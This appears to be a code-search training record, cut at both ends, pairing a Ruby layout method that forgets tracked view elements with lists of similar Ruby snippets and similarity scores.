f.id==@id}).first.path if @id!=0\n @ruta||= \"Top\" \n end", "def find_by_id(id)\n results = one.find_by_id_ne(id)\n results && new(results) || nil\n end", "def last_view(element_id)\n element = last(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def winner?(id)\n winner_in_a_line?(all_rows, id) || winner_in_a_line?(all_columns, id) || winner_in_a_line?(all_diagonals, id)\n end", "def find_child(children, child_id)\n raise Error, \"children not true\" unless children\n child_id = child_id.to_s\n children.detect { |x| x.id.to_s == child_id }\n end", "def distance_to_nearby(id)\n unless self.nearby_station_ids.include?(id.to_i)\n raise \"Station #{id} is not a nearby station\"\n end\n\n sta = self.nearby_stations.find { |s| s['id'].to_i == id.to_i }\n sta['distance']\n end", "def direct_children_by_id(*args)\n scope = args.last.is_a?(Hash) ? args.pop : {}\n ids = args.flatten.compact.uniq\n self.class.find_in_nested_set(:all, { \n :conditions => [\"#{scope_condition} AND #{prefixed_parent_col_name} = #{self.id} AND #{self.class.table_name}.#{self.class.primary_key} IN (?)\", ids]\n }, scope) \n end", "def find_containing(klass)\n p = parent\n while p and not p.kind_of? klass\n p = p.parent\n end\n return p\n end", "def TreeView_GetParent(hwnd, hitem) TreeView_GetNextItem(hwnd, hitem, TreeViewGetNextItem[:PARENT]) end", "def closest(obj)\n zombie = @zombies.first\n\n min_dist = MAX_DIST\n\n @zombies.each do |z|\n dist = z.distance(obj)\n if dist < min_dist\n zombie = z\n min_dist = dist\n end\n end\n\n zombie\n end", "def find(value, root = @root)\n return nil if root.nil?\n return root if root.data == value\n\n value < root.data ? find(value, root.left) : find(value, root.right)\n end", "def dfs_rec(target, root = @root_node)\n\t\tlocation = dfs_rec(target, root.small_child) if root.small_child != nil\n\t\treturn location if location != nil\n\t\treturn root if root.value == target\n\t\tlocation = dfs_rec(target, root.big_child) if root.big_child != nil\n\t\tlocation\n\tend", "def visit_path_to_root(node_id)\n while node_id > 0\n yield node_id\n node_id = parent node_id\n end\n self\n end", "def get_pos_by_id(id)\n id = id.to_i\n p id\n @@pos_table.each do |k, v|\n\tp v\n return v if v.pos_id == id\n end\n nil\n end", "def find_parent(root, parent_to_find)\n\n if((defined?(root.left.data))) || ((defined?(root.right.data)))\n if(root.right == parent_to_find) || (root.left == parent_to_find) \n return root\n else\n if(parent_to_find < root)\n find_parent(root.left, parent_to_find)\n else\n find_parent(root.right,parent_to_find)\n end \n end\n end \n end", "def search root, target\n queue = [root]\n\n until queue.empty?\n current = queue.shift\n return current if current.x == target.x && current.y == target.y\n\n current.make_children.each { |child| queue << child }\n end\nend", "def closest(obj)\n human = @humans.first\n\n min_dist = MAX_DIST\n\n @humans.each do |h|\n dist = h.distance(obj)\n if dist < min_dist\n human = h\n min_dist = dist\n end\n end\n\n human\n end", "def find_node(calling_node, key)\n @router.touch(calling_node)\n return @router.get_closest_nodes(key)\n end", "def find_by_id(id)\n iterations.find { |iteration| iteration.id == id } || false\n end", "def with_descendants(id)\n next_ids = [id]\n descendants = [id]\n\n while next_ids.any?\n parents = next_ids\n next_ids = []\n\n parents.each do |pid|\n if children = node_ids_by_parent_id[pid]\n descendants.concat(children)\n next_ids.concat(children)\n end\n end\n end\n\n descendants\n end", "def path?(from_id, to_id)\n from = find_vert(from_id)\n to = find_vert(to_id)\n visted = []\n letters = ''\n return dfs_search(from, to, visted, letters)\n end", "def locate(id)\n return self if are_you(id)\n \n i = @inv.fetch(id)\n return i if !i.nil?\n \n return nil\n end", "def find(id)\n all.find { |obj| obj.id == id }\n end", "def locations_around\n locations_within_proximity.where.not(id: id)\n end", "def find(id)\n find_by_index(id: id)\n end", "def get_view(element_id)\n element = get(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def nth_view(element_id, index)\n element = nth(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def find_element_by_id(id)\n (e = @doc.at_css(\"##{id}\")) && NodeProxy.new(e)\n end", "def find_parent_by_id\n @attachment = Attachment.find(params[:id])\n end", "def find_component_at(x, y)\n # need to find the child at this x/y position.\n # As we translate deeper into the component nest, we need to subtract the upper-left bounds of\n # each component from x,y in order to stay in each component's local space. If we are at the root\n # level, then our upleft bounds is 0,0 and it won't matter.\n x, y = translate(x, y)\n components.each { |comp| return comp.find_component_at(x, y) if comp.contains? x, y }\n self\n end", "def get(element_id)\n unless is_parent_layout?\n return parent_layout.get(element_id)\n end\n @elements[element_id] && @elements[element_id].first\n end", "def closest_s(v)\n @nodes_s.map { |s| [s, v.distance_to(s)] }.min_by { |a| a[1] }.first\n end", "def find_beeper()\n while not next_to_a_beeper?()\n move_toward_beeper()\n end\n end", "def search(search_value)\n if search_value == value\n return self\n elsif !left_child.nil? && value > search_value\n return left_child.search(search_value)\n elsif !right_child.nil? && value < search_value\n return right_child.search(search_value)\n else\n return nil\n end\n end", "def parent_model_find(parent_param)\n return parent_model.find(parent_param) if parent_param.is_integer?\n parent_model.find_by_param!(parent_param)\n end", "def views_where(&block)\n # traverse view hierarchy and collect views matching condition.\n hits = []\n hits << self if yield self\n self.subviews.each do |subview|\n subview_hits = subview.views_where(&block)\n hits << subview_hits if ! subview_hits.empty?\n end\n \n hits\n end" ]
[ "0.6051466", "0.57747096", "0.5398215", "0.5309833", "0.53007185", "0.5266479", "0.52470285", "0.523239", "0.523239", "0.52228904", "0.52208805", "0.5209493", "0.51327574", "0.5075573", "0.50686324", "0.5068311", "0.50654376", "0.4990059", "0.49706864", "0.49682602", "0.49465787", "0.49464735", "0.49275914", "0.4925686", "0.4913777", "0.4886005", "0.48405153", "0.48289987", "0.48048434", "0.4784587", "0.47685936", "0.47669983", "0.47669983", "0.47477305", "0.47425875", "0.46877247", "0.46839988", "0.46660453", "0.4665398", "0.46652693", "0.46639", "0.46622747", "0.46612713", "0.46443164", "0.46112716", "0.46051547", "0.46001273", "0.45977622", "0.45941767", "0.45939434", "0.45808065", "0.45764232", "0.4574942", "0.4573162", "0.45728886", "0.45661104", "0.4565199", "0.45615688", "0.4555341", "0.45330462", "0.45294684", "0.4527321", "0.45255822", "0.45251888", "0.45247626", "0.45136842", "0.44949955", "0.44895983", "0.4481934", "0.44771612", "0.4472222", "0.44685405", "0.4467277", "0.44445094", "0.44438595", "0.44417953", "0.44408917", "0.44395185", "0.4423399", "0.4420563", "0.44166657", "0.4416549", "0.4415986", "0.4415369", "0.4412066", "0.4411856", "0.44074684", "0.44058725", "0.44041014", "0.43998945", "0.4397643", "0.43951464", "0.43882355", "0.4384151", "0.43828794", "0.4374666", "0.43741786", "0.43741572", "0.43729585", "0.43682995" ]
0.63626915
0
Removes a view (or several with the same name) from the hierarchy and forgets it entirely. Returns the views that were removed.
def remove(element_id) unless is_parent_layout? return parent_layout.remove(element_id) end removed = forget(element_id) context(self.view) do removed.each do |element| self.apply(:remove_child, element) end end removed end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def remove\n selected.each { |view| view.parent.removeView(view) }\n self\n end", "def remove_views\n FileUtils.rm_rf(File.dirname(__FILE__) + \"/views\")\n end", "def forget_tree(element_id, view)\n removed = forget_view(element_id, view)\n if view.subviews\n view.subviews.each do | sub |\n if (sub_ids = sub.motion_kit_meta[:motion_kit_ids])\n sub_ids.each do | sub_id |\n forget_tree(sub_id, sub) || []\n end\n end\n end\n end\n removed\n end", "def drop_view(*names)\n options = names.last.is_a?(Hash) ? names.pop : OPTS\n names.each do |n|\n execute_ddl(drop_view_sql(n, options))\n remove_cached_schema(n)\n end\n nil\n end", "def drop_views name, defs=nil\n defs = defs.delete(:dependent_views) if defs.is_a?(Hash)\n defs.each do |dependent_view|\n execute \"DROP VIEW IF EXISTS #{dependent_view}\"\n end if defs\n \n execute \"DROP VIEW IF EXISTS #{name}\"\n\n end", "def remove_view(listener)\n @views.remove listener\n end", "def pop()\n\n\t\tviewStack = self.instance_variable_get(\"@hooViews\");\n\t\tif viewStack.nil? or viewStack.empty?\n\t\t\traise \"unpalanced view stack\"\n\t\tend\n\t\tviewStack.pop();\n\tend", "def remove\n each { |x| x.parent.children.delete(x) }\n end", "def drop_view(name)\n unless @enduser\n raise Empire::MissingEnduserError.new\n end\n path = \"view/#{name}\"\n request path, :delete\n end", "def remove_unwanted_views\n blacklight_config.view.delete(:gallery)\n blacklight_config.view.delete(:masonry)\n blacklight_config.view.delete(:slideshow)\n end", "def drop_view(name)\n execute(\"DROP VIEW #{name}\")\n end", "def recent_view_destroy\n RecentView.log_destroy(self.class.to_s, id)\n true\n end", "def destroy\n @view = View.find(params[:id])\n @view.destroy\n\n respond_to do |format|\n format.html { redirect_to(views_url) }\n format.xml { head :ok }\n end\n end", "def reset_views\n @views = []\n end", "def remove\n remove_checkpoints\n remove_config\n remove_hiera_template\n end", "def destroy\n @view = View.find(params[:id])\n @view.destroy\n\n respond_to do |format|\n format.html { redirect_to views_url }\n format.json { head :no_content }\n end\n end", "def drop_view(view_name, options = {})\n SchemaMonkey::Middleware::Migration::DropView.start(connection: self, view_name: view_name, options: options) do |env|\n view_name = env.view_name\n options = env.options\n materialized = options[:materialized] ? 'MATERIALIZED' : ''\n sql = \"DROP #{materialized} VIEW\"\n sql += \" IF EXISTS\" if options[:if_exists]\n sql += \" #{quote_table_name(view_name)}\"\n execute sql\n end\n end", "def clear\n view.subviews.each {|sv| sv.removeFromSuperview}\n @buttons = []\n end", "def drop_view(name, **kwargs)\n kwargs[:sqlite3] = !!(adapter_name =~ /sqlite/i)\n\n execute build_drop_view_query(name, **kwargs)\n end", "def destroy\n @view = View.find(params[:id])\n if @view.ministry.views.count > 1\n @view.destroy\n\n respond_to do |format|\n format.html { redirect_to views_url }\n format.xml { head :ok }\n format.js\n end\n else\n respond_to do |format|\n format.html { redirect_to views_url }\n format.xml { head :ok }\n format.js do \n render :update do |page|\n page.alert('You must leave at least one view defined')\n page.hide('spinnerview')\n end\n end\n end\n end\n end", "def destroy\n @view.destroy\n respond_to do |format|\n format.html { redirect_to views_url }\n format.json { head :no_content }\n end\n end", "def remove_component_at(index:)\n component = @child_components.delete_at(index)\n\n @view.remove_view(component.view)\n\n component\n end", "def ListView_RemoveAllGroups(hwnd) send_listview_message(hwnd, :REMOVEALLGROUPS) end", "def _\n\t\tviewStack = self.instance_variable_get(\"@hooViews\");\n\t\treturn viewStack.last;\n\tend", "def remove_from_descendants\n # TODO\n end", "def destroy\n @view.destroy\n respond_to do |format|\n format.html { redirect_to views_url, notice: 'View was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def drop_view_sql(name, options)\n \"DROP VIEW#{' IF EXISTS' if options[:if_exists]} #{quote_schema_table(name)}#{' CASCADE' if options[:cascade]}\"\n end", "def remove_at(index)\n @childs.delete_at(index)\n end", "def remove_act\n # select rep_parent if it exists\n node = self\n if !self.rep_parent.nil?\n node = self.rep_parent\n end\n\n # outdent children in case remove_act doesn't delete\n node.children.each do |child|\n child.outdent\n child.remove_act\n end\n\n # hold parent in case it need be updated\n old_parent = node.parent\n \n node.repititions.destroy_all\n node.destroy\n\n if !old_parent.nil?\n old_parent.is_complete?\n end\n end", "def remove(name)\n template = find(name)\n shell.rm_rf(template.path) if template\n end", "def destroy\n @view = View.find(params[:id])\n if @view.owner_id == @application_user.id\n @view.destroy\n respond_to do |format|\n format.html { redirect_to(views_url) }\n format.xml { head :ok }\n end\n else\n respond_to do |format|\n format.html { render :file => \"public/401.html\", :status => :unauthorized }\n format.xml { render :xml => @view.errors, :status => :unauthorized }\n end\n end\n end", "def drop_view_sql(name, opts=OPTS)\n \"DROP #{'MATERIALIZED ' if opts[:materialized]}VIEW#{' IF EXISTS' if opts[:if_exists]} #{quote_schema_table(name)}#{' CASCADE' if opts[:cascade]}\"\n end", "def TreeView_DeleteAllItems(hwnd)\r\n send_treeview_message(hwnd, :DELETEITEM, lparam: TVI_ROOT) end", "def forget(element_id)\n unless is_parent_layout?\n return parent_layout.remove(element_id)\n end\n removed = nil\n context(self.view) do\n removed = all(element_id)\n @elements[element_id] = nil\n end\n removed\n end", "def drop_materialized_view(*args)\n options = args.extract_options!\n args.flatten!\n\n sql = 'DROP MATERIALIZED VIEW '\n sql << 'IF EXISTS ' if options[:if_exists]\n sql << Array.wrap(args).collect { |v| quote_view_name(v) }.join(', ')\n sql << ' CASCADE' if options[:cascade]\n execute(\"#{sql};\")\n end", "def DeleteView id\n \n APICall(path: \"views/#{id}.json\",method: 'DELETE')\n \n end", "def remove\n remove_vagrant_box(self)\n remove_checkpoints\n remove_hiera_template\n remove_manifests_node\n end", "def destroy\n @viewthreads = Viewthread.find(params[:id])\n @viewthreads.destroy\n\n redirect_to viewthread_path\n end", "def remove(*paths)\n json_op(:remove, self, *paths)\n end", "def view_names\n self['views'].keys\n end", "def destroy_or_remove_from_descendants\n if !!self.tree_destroy_descendants\n destroy_descendants\n else\n remove_from_descendants\n end\n end", "def remove\n working_repo.remove tree\n end", "def destroy\n @entry_view = EntryView.find(params[:id])\n @entry_view.destroy\n\n respond_to do |format|\n format.html { redirect_to entry_views_url }\n format.json { head :no_content }\n end\n end", "def sweep_partial_cache\n cache_dir = RAILS_ROOT+\"/tmp/cache/views/*\"\n FileUtils.rm_r(Dir.glob(cache_dir)) rescue Errno::ENOENT\n logger.debug(\"Cache '#{cache_dir}' delete.\")\n end", "def remove(*scenes_to_remove)\n self.scenes -= scenes_to_remove\n update_systems_list\n true\n end", "def delete_view\n super\n end", "def uninstall\n self.installed_view.removeConstraint(self.layout_constraint)\n self.layout_constraint = nil\n self.installed_view = nil\n end", "def destroy\n @view.destroy\n respond_to do |format|\n format.html { redirect_to workspaces_url, notice: 'View was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n recipe_index = @view.index_delete\n @cookbook.remove_recipe(recipe_index)\n @view.listing\n end", "def remove_container(name)\n render :update do |page|\n page.remove name\n end\n end", "def destroy\n @yourview.destroy\n respond_to do |format|\n format.html { redirect_to yourviews_url, notice: 'Your view was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def remove\n unrealize\n remove_from_dependencies\n remove_from_dependents\n end", "def disown container\n children.delete container\n end", "def remove_child(*names)\n names.each do |name|\n children.delete_if { |child| child.name == name.to_s }\n end \n end", "def remove_by_name(name)\n fw = get_by_name(name)\n if (fw != nil)\n return remove(fw)\n end \n end", "def unset( search_nodes )\n return apply(search_nodes)\n end", "def destroy\n @tree.destroy\n redirect_to user_url(current_user), notice: '削除しました'\n end", "def remove\n conf = {:path=>\"#{RAILS_ROOT}/index/#{RAILS_ENV}/rip\"}\n index = Ferret::Index::Index.new(conf)\n\n mrokhashs = params[:parts][:part].collect {|p| p[:mrokhash]}\n parts = Part.find_all_by_mrokhash(mrokhashs)\n logged_in_user.parts.delete(parts)\n parts.each do |part|\n update_user_in_field(:index => index, :part => part, :remove => true)\n remove_cache_pages(part.rip_id) if part.rip_id\n end\n head :ok\n end", "def delete_consistency_group_snapshot_view(sys_id, cg_id, view_id)\n\t response = request(:delete, \"/devmgr/v2/storage-systems/#{sys_id}/consistency-groups/#{cg_id}/views/#{view_id}\")\n status(response, 204, 'Failed to remove consistency group snapshot view')\n end", "def drop_materialized_view(name, **kwargs)\n supports_materialized_view!\n\n execute build_drop_materialized_view_query(name, **kwargs)\n end", "def delete\n extract.children.to_a.each(&:extract)\n end", "def remove_photos\n self.photos.clear\n end", "def remove_all\n @peer.remove_all\n# @children.each { |child| scene.unindex_prop(child) } if scene\n# @children = []\n end", "def remove(name)\n @collection.delete_if { |f| f.name == name }\n end", "def remove(*vars)\n return unless instance.flex_indexable?\n Flex.remove(metainfo, *vars)\n end", "def remove_act\n # outdent children in case remove_act doesn't delete\n self.children.each do |child|\n child.outdent\n child.remove_act\n end\n \n # check if parent should update completeness\n old_parent = self.parent\n\n self.permissions.destroy_all\n self.destroy\n \n # refresh parent completeness\n if !old_parent.nil?\n old_parent.is_complete?\n end\n end", "def cleanup_view_runtime; end", "def remove\n service = FolderService.new(@context)\n nodes = Node.editable_by(@context).where(id: unsafe_params[:ids])\n result = service.remove(nodes)\n\n if result.success?\n type = :success\n text = \"Node(s) successfully removed.\"\n else\n type = :error\n text = \"Error when Node(s) removing: #{result.value[:message]}.\"\n end\n\n path = params[:scope] == Scopes::SCOPE_PUBLIC ? everybody_api_files_path : api_files_path\n\n render json: { path: path, message: { type: type, text: text } }, adapter: :json\n end", "def remove_all_plant_loops(model)\n model.getPlantLoops.each(&:remove)\n return model\n end", "def delete_analysis_tables_and_views\n puts \"====================\"\n puts \"deleting analysis tables and views for #{self.name}\"\n puts \"====================\"\n\n run_analysis_tables(true)\n run_analysis_views(true)\n\n puts \"> done\"\n puts \"====================\"\n end", "def viewsWithStylename name\n r = []\n subviews.each do |view|\n if view.stylename == name\n r.push name\n end\n r += view.viewsWithStylename name\n end\n r\n end", "def replace_field_views\n remove_dir('app/views/fields')\n directory('views/fields', 'app/views/fields', force: true)\n end", "def delete(model)\n @ancestors.delete(model) if @ancestors\n @descendants.delete(model)\n end", "def remove_children\n\t\tinterests.destroy_all\n\tend", "def prune\r\n NavContentsLens.new @nav, @objs.uniq\r\n end", "def erase\n @nodes.erase\n end", "def recreate_view name\n view_structure = ActiveRecord::Base.connection.select_value(\"select definition from pg_views where viewname='#{name}'\")\n if view_structure\n execute \"DROP VIEW IF EXISTS #{name}\"\n execute \"CREATE VIEW #{name} AS #{view_structure};\"\n end\n end", "def remove\n prompt = TTY::Prompt.new\n choices = {\n \" 1 - Yourself\" => 1,\n \" 2 - A cat\" => 2,\n \" 3 - Return to the Main Menu\" => 3 }\n choice = prompt.select(\"\\nWhat would you like to remove from the directory?\\n\", choices, per_page: 3)\n\n case (choice.to_i)\n when 1\n puts \"\\nWhat is your name?\"\n owner_name = gets.chomp\n destroy = Owner.find_by(name: owner_name)\n puts \"\\nAll set, #{owner_name}! ☹️ So sad to see you go!\"\n if destroy.nil?\n puts \"\\nSorry, this owner doesn't exist.\"\n remove\n else\n destroy.destroy\n puts \"\\nBye, #{owner_name}!\"\n end\n when 2\n puts \"\\n😿 What is the cat's name?\"\n cat_name = gets.chomp\n destroy = Cat.find_by(name: cat_name)\n if destroy.nil?\n puts \"\\nSorry, this cat doesn't exist.\"\n remove\n else\n destroy.destroy\n puts \"\\nSo long, sweet #{cat_name}!\"\n end\n when 3\n main_menu\n end\n end", "def remove_by_name(name)\n p = get_by_name(name)\n if (p != nil)\n return remove(p)\n end \n end", "def remove(name)\n gladiators.reject! { |g| g.name == name }\n end", "def find_views(composite_object)\n # Using the hash instead of the method because lower nodes will get validated\n # before composite is finished building\n return composite_object.hash[:views].keys if composite_object.hash[:views].is_a?(Hash)\n\n return find_views(composite_object.parent) if composite_object.parent\n\n []\n end", "def remove(*names)\n extract_and_apply_options!(names)\n delete_if { |name| names.include?(name) }\n self\n end", "def delete(vassal_index)\n @vassals.delete_at(vassal_index)\n\n # Now organize the hierarchy.\n\n # If there more than one views left in the Container, just organize it.\n if @vassals.count > 1 then\n # Each view/container know it own position under a container.\n @vassals.each_with_index{|view, i| view.index = i}\n\n # Resize vassals that still exist.\n vassal_sizes()\n else\n # If there are no other vassals left in this container, the last\n # vassal will replace this container.\n # The last vassal get the same size from this container.\n @vassals[0].size(@init_col, @init_line, @cols, @lines)\n\n # If this container have no lord, it is the king. The last vassal\n # become the new king\n if @lord.nil? then\n @vassals[0].king()\n\n # If this container have a lord, the last container assume it place.\n else\n @vassals[0].lord = @lord\n @vassals[0].index = @index\n\n @lord.vassals[@index] = @vassals[0]\n end\n end\n\n return @vassals[0].view_first.current()\n end", "def remove_view_info(opts)\n opts = check_params(opts,[:view_info])\n super(opts)\n end", "def destroy\n @list_view = ListView.find(params[:id])\n @list_view.destroy\n\n respond_to do |format|\n format.html { redirect_to(list_views_url) }\n format.xml { head :ok }\n end\n end", "def RedrawAllViews(arg0 = nil)\n ret = _invoke(1610743947, [arg0], [VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "def remove_illegitimate_children\n puts \"Destroying illegitimate children of response #{id}: #{text}\" if illegitimate_children.length > 1\n illegitimate_children.select {|q| q != child_question }.each do |q|\n puts \" Destroying illegitimate child question #{q.id}: #{q.text}\"\n q.destroy\n end\n end", "def unrelate\n model_to_unrelate = params[:unrelated].singularize.camelize.constantize\n unrelate = model_to_unrelate.find(params[:unrelated_id])\n @model.find(params[:id]).send(params[:unrelated]).delete(unrelate)\n flash[:success] = \"#{model_to_unrelate.to_s.titleize} removed from #{@model.to_s.titleize}.\"\n redirect_to :action => 'edit', :id => params[:id]\n end", "def remove_hiera_template\n Bebox::Provision.remove_hiera_for_steps(self.project_root, self.hostname)\n end", "def eraseOldTopStoryEntries\n for i in 0...TopStory.count-1\n TopStory.first.destroy\n end\n end", "def destroy\n @tree.destroy\n respond_to do |format|\n format.html { redirect_to trees_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tree.destroy\n respond_to do |format|\n format.html { redirect_to trees_url }\n format.json { head :no_content }\n end\n end", "def deletions\n stat[1]\n end", "def remove_paths(*args)\n args.each { |arg| self.slice_paths.delete(arg) }\n end", "def remove_from_parents\n ordered_by.each do |parent|\n parent.ordered_members.delete(self) # Delete the list node\n parent.members.delete(self) # Delete the indirect container Proxy\n parent.save! # record the changes to the ordered members\n end\n end", "def destroy_removed_migrations\n # @todo Make these methods into a more DRY manner for grabbing each record type and diff'ing them.\n # \n # We create an array for each record type that includes all records that we are going to destroy. We do this by taking the previous records array, converting them to a standard array and keeping them if any previous records occur in the migrated records array.\n versions_to_remove = GuidesGenerator::Migrator::previous_versions.to_a.keep_if do |version|\n !GuidesGenerator::Migrator::migrated_versions.include?(version)\n end\n\n sections_to_remove = GuidesGenerator::Migrator::previous_sections.to_a.keep_if do |sections|\n !GuidesGenerator::Migrator::migrated_sections.include?(sections)\n end\n\n documents_to_remove = GuidesGenerator::Migrator::previous_documents.to_a.keep_if do |document|\n !GuidesGenerator::Migrator::migrated_documents.include?(document)\n end\n\n # After we have all the arrays of records to remove iterate over each array and destroy the records.\n [versions_to_remove, sections_to_remove, documents_to_remove].each {|records| records.each {|record| record.destroy}}\n end", "def remove_segments()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.RunEditor_remove_segments(@handle.ptr)\n end", "def destroy\n # Display list with indices\n recipes = @cookbook.all\n # Ask user for index\n index = @view.ask_user_for_index(recipes)\n # Remove from cookbook\n @cookbook.remove_recipe(index - 1)\n end", "def remove\n @stack.pop\n end", "def remove\n @stack.pop\n end" ]
[ "0.6830917", "0.65834415", "0.61898804", "0.5997242", "0.59435993", "0.56832415", "0.56377375", "0.5615252", "0.5560866", "0.5374461", "0.5272933", "0.5230598", "0.51240784", "0.51160395", "0.51057583", "0.5085563", "0.50455177", "0.501904", "0.5017382", "0.5012597", "0.4977333", "0.49461585", "0.4904748", "0.49044505", "0.48944038", "0.48741445", "0.481634", "0.481526", "0.4811717", "0.48000157", "0.47908166", "0.47307852", "0.47109067", "0.4709669", "0.47018534", "0.46807137", "0.46497706", "0.46452665", "0.46242934", "0.46235898", "0.46163857", "0.4614482", "0.4609763", "0.46089113", "0.45968485", "0.4592828", "0.4592491", "0.4589161", "0.4584527", "0.45713988", "0.45651743", "0.45571977", "0.45570582", "0.45528552", "0.45522907", "0.45405963", "0.4540077", "0.45266864", "0.45265004", "0.4524163", "0.45110783", "0.45060882", "0.4504709", "0.44959277", "0.44929817", "0.44924042", "0.44883642", "0.44825977", "0.4463349", "0.44605714", "0.4453725", "0.44438624", "0.44426852", "0.44398212", "0.44355935", "0.44346952", "0.44330922", "0.44325602", "0.44272316", "0.44133994", "0.44023198", "0.44008955", "0.43933493", "0.43923855", "0.43894944", "0.43872303", "0.43835846", "0.43802226", "0.43767717", "0.4369369", "0.4366436", "0.4366436", "0.4364549", "0.4364017", "0.4362203", "0.43613213", "0.43603253", "0.43520465", "0.4351189", "0.4351189" ]
0.46617642
36
Removes a view from the list of elements this layout is "tracking", but leaves it in the view hierarchy. Returns the views that were removed.
def forget(element_id) unless is_parent_layout? return parent_layout.remove(element_id) end removed = nil context(self.view) do removed = all(element_id) @elements[element_id] = nil end removed end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def remove\n selected.each { |view| view.parent.removeView(view) }\n self\n end", "def forget_tree(element_id, view)\n removed = forget_view(element_id, view)\n if view.subviews\n view.subviews.each do | sub |\n if (sub_ids = sub.motion_kit_meta[:motion_kit_ids])\n sub_ids.each do | sub_id |\n forget_tree(sub_id, sub) || []\n end\n end\n end\n end\n removed\n end", "def clear\n view.subviews.each {|sv| sv.removeFromSuperview}\n @buttons = []\n end", "def remove(element_id)\n unless is_parent_layout?\n return parent_layout.remove(element_id)\n end\n removed = forget(element_id)\n context(self.view) do\n removed.each do |element|\n self.apply(:remove_child, element)\n end\n end\n removed\n end", "def remove_view(listener)\n @views.remove listener\n end", "def pop()\n\n\t\tviewStack = self.instance_variable_get(\"@hooViews\");\n\t\tif viewStack.nil? or viewStack.empty?\n\t\t\traise \"unpalanced view stack\"\n\t\tend\n\t\tviewStack.pop();\n\tend", "def remove_views\n FileUtils.rm_rf(File.dirname(__FILE__) + \"/views\")\n end", "def remove\n each { |x| x.parent.children.delete(x) }\n end", "def remove_from_list\n return unless in_list?\n decrement_positions_on_lower_items\n set_my_position nil\n end", "def remove_unwanted_views\n blacklight_config.view.delete(:gallery)\n blacklight_config.view.delete(:masonry)\n blacklight_config.view.delete(:slideshow)\n end", "def remove_component_at(index:)\n component = @child_components.delete_at(index)\n\n @view.remove_view(component.view)\n\n component\n end", "def waypoints_minus_removed\n points = []\n waypoints.each do |waypoint|\n points << waypoint if !waypoint.marked_for_destruction?\n end\n points\n end", "def remove_from_list\n if in_list?\n decrement_positions_on_lower_items\n set_my_position nil\n end\n end", "def prune\r\n NavContentsLens.new @nav, @objs.uniq\r\n end", "def reset_views\n @views = []\n end", "def remove_from_descendants\n # TODO\n end", "def ListView_RemoveAllGroups(hwnd) send_listview_message(hwnd, :REMOVEALLGROUPS) end", "def ImageList_RemoveAll(himl)\r\n ImageList_Remove(himl, -1)\r\n end", "def remove_from_list\n if in_list?\n decrement_positions_on_lower_items\n set_list_position(nil)\n end\n end", "def remove_from_list\n # if in_list?\n # decrement_positions_on_lower_items\n # update_attribute position_column, nil\n # end \n return unless in_list?\n decrement_positions_on_lower_items\n update_attribute position_column, nil \n end", "def uninstall\n self.installed_view.removeConstraint(self.layout_constraint)\n self.layout_constraint = nil\n self.installed_view = nil\n end", "def drop_view(*names)\n options = names.last.is_a?(Hash) ? names.pop : OPTS\n names.each do |n|\n execute_ddl(drop_view_sql(n, options))\n remove_cached_schema(n)\n end\n nil\n end", "def remove_all_widgets\n array = @browser.div(:id=>\"add_goodies_body\").lis.select { |li| li.class_name == \"remove\" }\n sub_array = array.select { |li| li.visible? }\n sub_array.each do |li|\n li.button(:text=>\"Remove\").click\n wait_for_ajax\n end\n close_add_widget\n end", "def prune\r\n NavLocationLens.new @nav, @locs.uniq\r\n end", "def remove_sliders\n size = @sliders.size\n @sliders.clear\n @dialog.execute_script(\"remove_sliders(); update_size();\") if @dialog\n size\n end", "def remove_map\n remove_widget\n end", "def unreferenced_elements\n model\n .elements\n .select { |el| el.references.none?(&ref_is_relationship_or_diagram) }\n end", "def remove_shape\n\t\t@shapes.delete_at(0)\n\tend", "def drop_views name, defs=nil\n defs = defs.delete(:dependent_views) if defs.is_a?(Hash)\n defs.each do |dependent_view|\n execute \"DROP VIEW IF EXISTS #{dependent_view}\"\n end if defs\n \n execute \"DROP VIEW IF EXISTS #{name}\"\n\n end", "def remove_at(index)\n @childs.delete_at(index)\n end", "def _\n\t\tviewStack = self.instance_variable_get(\"@hooViews\");\n\t\treturn viewStack.last;\n\tend", "def visual_block_clear\n if @visual_block_start\n star = [@visual_block_start, @cursor].min\n fin = [@visual_block_start, @cursor].max\n remove_from_selection @view[star..fin]\n end\n @visual_block_start = nil\n @toggles[:visual_mode] = @visual_mode = false\n @mode = nil if @mode == 'VIS'\n # is this the right place to put this ??? 2019-04-16 -\n clean_selected_files\nend", "def kill()\n #this removes the bullet object from the bullets array\n @bullets.delete(self)\n #this removes the model so it is no longer displayed on the window\n @model.remove\n end", "def disown container\n children.delete container\n end", "def remove\n remove_checkpoints\n remove_config\n remove_hiera_template\n end", "def unset( search_nodes )\n return apply(search_nodes)\n end", "def remove_from_list *list\n @show = @show - TinyPng::Path.get_all(list)\n end", "def remove name_or_index\n \n # Name_or_index and positioning list, receiving always an Array\n #\n nip_list = extract_va_options name_or_index, false \n \n # Input homogeneization\n #\n nip_list.map!{ |ni| ni.is_a?(Hash) ? ni : { \n :item => ni, \n :layout_constraint => nil } }\n \n # Preparing input for super, and for method retval\n #\n name_or_index = nip_list.map{ |ni| ni[:item] }\n \n\n # If have a layout manager then remove layout constraint...\n #\n if @renderer && @renderer.layout_manager\n \n ip_list.each do |i| \n @renderer.layout_manager.remove i[:layout_constraint]\n end\n end\n \n # ...and then we do as abstract container for contained items\n #\n super name_or_index\n \n end", "def last_view(element_id)\n element = last(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def recent_view_destroy\n RecentView.log_destroy(self.class.to_s, id)\n true\n end", "def clear_drawings\n execute_script(%(\n var elements = window.document.body.querySelectorAll('[id*=\"rudra_\"]');\n for (var i = 0; i < elements.length; i++) {\n elements[i].remove();\n }\n window.rudraTooltipSymbol = 9311;\n window.rudraTooltipLastPos = { x: 0, y: 0 };\n ))\n end", "def delete_widget_at i\n @widgets.delete_at i\n end", "def delete_widget_at i\n @widgets.delete_at i\n end", "def mark_children_for_removal\n work_graphics.each do |work_graphic|\n work_graphic.destroy\n end\n end", "def 